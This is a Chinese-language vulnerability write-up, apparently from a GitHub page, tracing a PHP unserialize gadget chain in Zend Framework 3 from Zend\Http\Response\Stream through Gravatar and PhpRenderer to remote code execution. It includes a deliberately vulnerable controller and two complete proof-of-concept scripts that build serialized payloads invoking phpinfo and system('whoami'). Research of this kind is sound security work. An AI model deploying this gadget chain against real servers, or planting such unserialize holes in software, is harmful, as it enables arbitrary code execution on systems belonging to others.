Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

漏洞demo

zend framework3本身没有触发反序列化的点,因此我们需要自己构造一个漏洞demo,用作poc的验证。首先用composer安装

composer create-project zendframework/skeleton-application

module/Application/src/Controller/IndexController.php改成

class IndexController extends AbstractActionController
{
    public function indexAction()
    {
        $data = $this->getRequest()->getPost('hello');
        unserialize(base64_decode($data));
        return new ViewModel();
    }
}

漏洞分析

__destruct

在zendframework3核心包中只有三个__destruct入口,其中两个都很简单,只有vendor/zendframework/zend-http/src/Response/Stream.php中的Zend\Http\Response\Stream类有利用的可能。其析构函数如下

$this->cleanup$this->streamNameunlink函数的第一个参数为String类型,所以可以在啊$this->streamName传入类的实例,可以触发__toString

__toString

__toString方法的类很多,我看中了vendor/zendframework/zend-view/src/Helper/Gravatar.php中的Zend\View\Helper\Gravatar

跟进到$this->htmlAttribs()

$key = $escaper($key);

看到rce的希望。回到Gravatar$this->getAttributes()可控

public function getAttributes()
{
    return $this->attributes;
}

现在只需要构造能顺利执行到rce语句的类,但是

$escaper        = $this->getView()->plugin('escapehtml');
$escapeHtmlAttr = $this->getView()->plugin('escapehtmlattr');

这两句带来了一些麻烦。$this->getView()可控

public function getView()
{
    return $this->view;
}

这里可以触发__invoke,但是我选择直接找有plugin()方法的类。

疏通

vendor/zendframework/zend-view/src/Renderer/PhpRenderer.php中的Zend\View\Renderer\PhpRenderer就是我们要找的。

由于$this->__helpers可控,所以$this->getHelperPluginManager()也可控, 接下来有两种方法,最终目的都是让get()返回我们要的字符串

方法一:Zend\ServiceManager\ReaderPluginManager

get()方法在vendor/zendframework/zend-servicemanager/src/AbstractPluginManager.phpZend\ServiceManager\AbstractPluginManager中定义,这里我随便选取了子类Zend\Config\ReaderPluginManager

$name参数为不可控的escapehtmlescapehtmlattr

has()可以控制输出使$foundtrue

parent::get()同样可控

$this->validate()主要是个instanceof的判断,这就限制死了$key = $escaper($key)中的$escaper必须是个类,又回到了寻找__invoke()

__invoke

vendor/zendframework/zend-validator/src/AbstractValidator.php中的Zend\Validator\AbstractValidator可以利用

public function __invoke($value)
{
    return $this->isValid($value);
}

我找到了一个可以利用的子类Zend\Validator\Callback

可以看到第139行有call_user_func_array$callback来自

public function getCallback()
{
    return $this->options['callback'];
}

args来自$args = [$value];,也就是函数的第一个参数,即htmlAttribs()中的$key,所有参数可控,可以rce,最终调用栈如下

poc

要注意zend framework3采用了自动加载类的方式,会自动包含我们需要的类

<?php

namespace Zend\Http\Response {
    class Stream
    {
        protected $cleanup = true;
        protected $streamName;

        public function __construct($streamName)
        {
            $this->streamName = $streamName;
        }
    }
}

namespace Zend\View\Helper{
    class Gravatar{
        protected $view;
//        protected $attributes = ["whoami"=>'a'];
        protected $attributes = [1=>'a'];
        public function __construct($view)
        {
            $this->view=$view;
        }
    }
}

namespace Zend\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        public function __construct($__helpers)
        {
            $this->__helpers = $__helpers;
        }
    }
}
namespace Zend\Config{
    class ReaderPluginManager{
        protected $services;
        protected $instanceOf ="Zend\Validator\Callback";
        public function __construct($services){
            $this->services = ["escapehtml"=>$services,"escapehtmlattr"=>$services];
        }
    }
}
namespace Zend\Validator{
    class Callback{
        protected $options = [
            'callback'         => 'phpinfo',
            'callbackOptions'  => []
        ];
    }
}

namespace {
    $e = new Zend\Validator\Callback();
    $d = new Zend\Config\ReaderPluginManager($e);
    $c = new Zend\View\Renderer\PhpRenderer($d);
    $b = new Zend\View\Helper\Gravatar($c);
    $a = new Zend\Http\Response\Stream($b);
    echo base64_encode(serialize($a));
}

结果

方法二:Zend\Config\Config

另一种方法是寻找更方便的有get()的方法,我找到了Zend\Config\Config

可以直接返回我们想要的数据,在$key = $escaper($key)rce 调用栈如下

poc

<?php

namespace Zend\Http\Response {
    class Stream
    {
        protected $cleanup = true;
        protected $streamName;

        public function __construct($streamName)
        {
            $this->streamName = $streamName;
        }
    }
}

namespace Zend\View\Helper{
    class Gravatar{
        protected $view;
//        protected $attributes = ["whoami"=>'a'];
        protected $attributes = ['whoami'=>1];
        public function __construct($view)
        {
            $this->view=$view;
        }
    }
}

namespace Zend\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        public function __construct($__helpers)
        {
            $this->__helpers = $__helpers;
        }
    }
}

namespace Zend\Config{
    class Config{
        protected $data = [
            "escapehtml"=>'system',
            "escapehtmlattr"=>'phpinfo'
        ];
    }
}

namespace {
    $d = new Zend\Config\Config();
    $c = new Zend\View\Renderer\PhpRenderer($d);
    $b = new Zend\View\Helper\Gravatar($c);
    $a = new Zend\Http\Response\Stream($b);
    echo base64_encode(serialize($a));
}

结果